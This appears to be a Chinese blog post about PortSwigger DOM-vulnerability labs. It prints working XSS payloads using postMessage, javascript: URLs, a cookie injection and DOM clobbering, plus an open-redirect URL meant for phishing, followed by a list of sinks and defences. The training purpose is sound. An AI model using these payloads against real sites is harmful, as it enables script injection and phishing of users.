PortSwigger 基于 DOM 的漏洞

一、DOM 的漏洞介绍

        DOM漏洞是指网页前端代码中由于程序设计缺陷而导致攻击者可以利用特定的操作方式来窃取用户信息或者进行其他的恶意行为的一种安全漏洞。

        DOM(Document Object Model,文档对象模型)是一种表示网页文档结构的对象模型,用来访问和操作HTML和XML文档的内容。

        攻击者可以通过修改网页中的DOM节点或者执行恶意脚本来窃取用户的敏感信息或者进行其他恶意行为。

二、DOM 的漏洞利用方式

        1、使用 Web 消息的 DOM XSS

        通过前端页面发现存在:

//创建监听器并接受消息

window.addEventListener('message', function(e) {

//向ads对象插入内容

document.getElementById('ads').innerHTML = e.data; })

       可通过以下代码进行传递消息并利用。

<iframe src="https://0a0400e30480bfcdc17e1c86008500e8.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

        2、使用 Web 消息和 JavaScript URL 的 DOM XSS

        当发送消息包含http或https 且长度大于1,将进行跳转。

<iframe src="https://0adb0079041ef30fc01b1d4b007000d6.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

        3、使用 Web 消息和 DOM XSSJSON.parse

        

//接受web消息
window.addEventListener('message', function(e) {
    //创建ifeame元素,并赋值ACMEplayer
    var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
    //iframe元素能够被正确渲染和显示在页面上。
    document.body.appendChild(iframe);
    try {
        能否被json解析
        d = JSON.parse(e.data);
        } 
    catch(e) {
                return;
             }
    switch(d.type) {
        case "page-load":
            //浏览器滚动到元素的位置
            ACMEplayer.element.scrollIntoView();
            break;
        case "load-channel":
            //导致加载新网页
            ACMEplayer.element.src = d.url;
            break;
        case "player-height-changed":
            //这将调整元素的大小
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
                    }
    }, false);
                    

         利用代码:

<iframe src=https://YOUR-LAB-ID.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

        4、基于 DOM 的开放重定向(用于钓鱼)

https://YOUR-LAB-ID.web-security-academy.net/post?postId=4&url=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/

        5、基于 DOM 的 Cookie 操作

        url处存在注入点:

         可通过 Cookie修改url进行注入:

         首次加载时,浏览器会暂时打开恶意 URL,然后将cookie中lastViewedProduc保存为 cookie 的值。事件处理程序确保受害者随后立即重定向到该页面上。

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://YOUR-LAB-ID.web-security-academy.net';window.x=1;">

        6、利用 DOM 破坏来启用 XSS

        存在漏洞处:

 

        利用方式:由于两个定位点使用相同的 ID,因此 DOM 将它们组合在一个 DOM 集合中。然后,DOM 破坏向量用这个 DOM 集合覆盖引用。属性用于最后一个元素,以便破坏指向外部脚本的对象的属性

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

 

 

三、哪些接收器可导致基于 DOM 的漏洞

        写入: document.write()
        打开重定向: indow.location
        cookie:document.cookie
        JavaScript 注入: eval()
        文档域操作 : document.domain
        WebSocket-URL中毒 :WebSocket()
        链接操作:element.src
        网络消息操作: postMessage()
        Ajax 请求标头操作 :setRequestHeader()
        本地文件路径操作:FileReader.readAsText()
        客户端 SQL 注入:ExecuteSql()
        HTML5 存储操作 : sessionStorage.setItem()
        客户端 XPath 注入:document.evaluate()
        客户端 JSON 注入: JSON.parse()
        DOM 数据操作:  element.setAttribute()
        拒绝服务: RegExp()

四、DOM 漏洞的常见防御措施

        验证用户输入:开发人员应该验证用户输入并确保它们是符合预期的数据类型、格式、长度和值。

        使用安全的 API:使用安全的 JavaScript API,如 'textContent

        缩小攻击面:尽量减少暴露 DOM 接口和 API 的数量。

        禁用危险的 JavaScript 函数:应该禁用一些危险的 JavaScript 函数,如 'eval

        强制使用 HTTPS:使用 HTTPS 连接来避免攻击者篡改传输过程中的数据。

        使用浏览器内置防御机制:现代浏览器内置了一些安全机制,如沙箱和 CSP,可以帮

助防止 DOM 漏洞。

        使用可靠的第三方库:使用受信任的第三方库,并确保它们不会暴露应用程序的漏洞。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值